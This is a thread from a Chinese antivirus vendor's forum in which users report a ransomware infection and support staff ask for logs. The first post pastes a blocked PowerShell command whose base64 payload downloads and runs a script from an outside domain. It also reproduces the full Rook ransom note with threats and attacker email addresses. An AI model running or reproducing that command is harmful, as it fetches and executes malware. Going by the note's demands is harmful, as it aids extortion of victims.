火绒安全软件

标题: 利用PowerShell执行可疑脚本 中的勒索病毒ReadMeRook [打印本页]

作者: q466533386    时间: 2022-3-14 09:42
标题: 利用PowerShell执行可疑脚本 中的勒索病毒ReadMeRook
防护项目:利用PowerShell执行可疑脚本
执行文件:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
执行命令行:"powershell.exe" -NoP -NonI -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwB5AGUALgB5AGUAYQByAGkAZABwAGUAcgAuAGMAbwBtACcAKQApAA==
操作结果:已阻止

进程ID:6420
操作进程:C:\Windows\nssm.exe
操作进程命令行:C:\Windows\nssm.exe
父进程ID:916
父进程:C:\Windows\system32\services.exe
父进程命令行:C:\Windows\system32\services.exe



病毒内容
-----------Welcome. Again. --------------------
[+]Whats Happen?[+]

Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion Rook.

By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

[+] What guarantees?[+]


Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.

To check the file capacity, please send 1 files not larger than 1M to us, and we will prove that we are capable of restoring.

If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.

If we find that a security vendor or law enforcement agency pretends to be you to negotiate with us, we will directly destroy the private key and no longer provide you with decryption services.

You have 3 days to contact us for negotiation. Within 3 days, we will provide a 50% discount. If the discount service is not provided for more than 3 days, the files will be leaked to our onion network. Every more than 3 days will increase the number of leaked files.

We will replace the private key every 15 days and the old private key will be deleted. Please do not contact us if it has been encrypted for more than 15 days, we can do nothing, even if God comes, there is nothing we can do.
Our mail box:
securityrook@privatemail.com

If there is no reply for a long time, please contact the following email address!
securityrook@horsefucker.org
------------------------------------------------------------------------------------------------
!!!DANGER!!!
DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.
!!!!!!!
YOUR PERSONAL ID: Ihu9KycnttLue7GJTyt+nfQ26D84J0XKw4V47RXbV6/6nJJ7J//+q8My33k0uAhs3U/IogRbx9+sjsO+y2eyajFnV/fL3TZVsh4dUwFB/Ku5CiOoiOPefD8MgmYGXlZqWrOT4Wq10kzIoePSZDj3zpbEawk07rv/u0/yXbH4ckPj77FPnPvYt+MGIOsQ7AgsAkSYL6JI2vSd9G/u0LnOJS/Qjvoe8SNk1VY0Y7PzEbSbsV8CUCFlYbbcC8RDn+cmcL9rFu3S2BkMoEF3mZZQVxKse5i+VptXHCUjvXZlj8mNwOStbg7rYXYX5o8brnfQVrrtF5afxNBlddmJpayruq+jgLINAw5dB45bzRenr/S9Mo5FCTeTQJWNylOerp4G69dm+NF2eYFe1DW/zktIwz7MK4qDh/kvHDHfyAZ/kRGL4Zu3iprYxdleZ8yMdO8FXSjTu4K6/hWY9JyFSiayNYmHN/Pg9FHN0R/2NsKtQ/oO+PJkQHO6P8a3ZxzbC2oxpEkXLJ1FV/ldB1pQM/iMHNF3/awBYhlJlpzMhFrFWWax2XhKIvzBfZYsDEmVFcKKCsl09gAub4tgAJVfaNdeG87UWUtyCUX9BuMgrPkrFnb3EzlHDX92dNDbfSSk9KSCwjs7dtvtSlPJroTJGVCDIb6A/7Y5y9G8jr8orpfceE4=






作者: q466533386    时间: 2022-3-14 09:44
一只在重复运行
防护项目:利用PowerShell执行可疑脚本
执行文件:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
执行命令行:"powershell.exe" -NoP -NonI -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwB5AGUALgB5AGUAYQByAGkAZABwAGUAcgAuAGMAbwBtACcAKQApAA==
操作结果:已阻止

进程ID:6420
操作进程:C:\Windows\nssm.exe
操作进程命令行:C:\Windows\nssm.exe
父进程ID:916
父进程:C:\Windows\system32\services.exe
父进程命令行:C:\Windows\system32\services.exe
作者: 火绒运营专员    时间: 2022-3-14 09:46
麻烦您留下联系方式或添加运营人员微信为您排查一下
单人二维码.png

作者: f846834361    时间: 2022-3-16 20:05
我也中毒了
作者: 火绒运营专员    时间: 2022-3-16 20:08
f846834361 发表于 2022-3-16 20:05
我也中毒了

您导出下火绒安全日志上传下呢~
作者: 火绒运营专员    时间: 2022-7-21 15:23
q466533386 发表于 2022-3-14 09:44
一只在重复运行
防护项目:利用PowerShell执行可疑脚本
执行文件:C:\Windows\System32\WindowsPowerShell\ ...

麻烦您留下联系方式或添加运营人员微信为您排查一下




欢迎光临 火绒安全软件 (https://bbs.huorong.cn/) Powered by Discuz! X3.4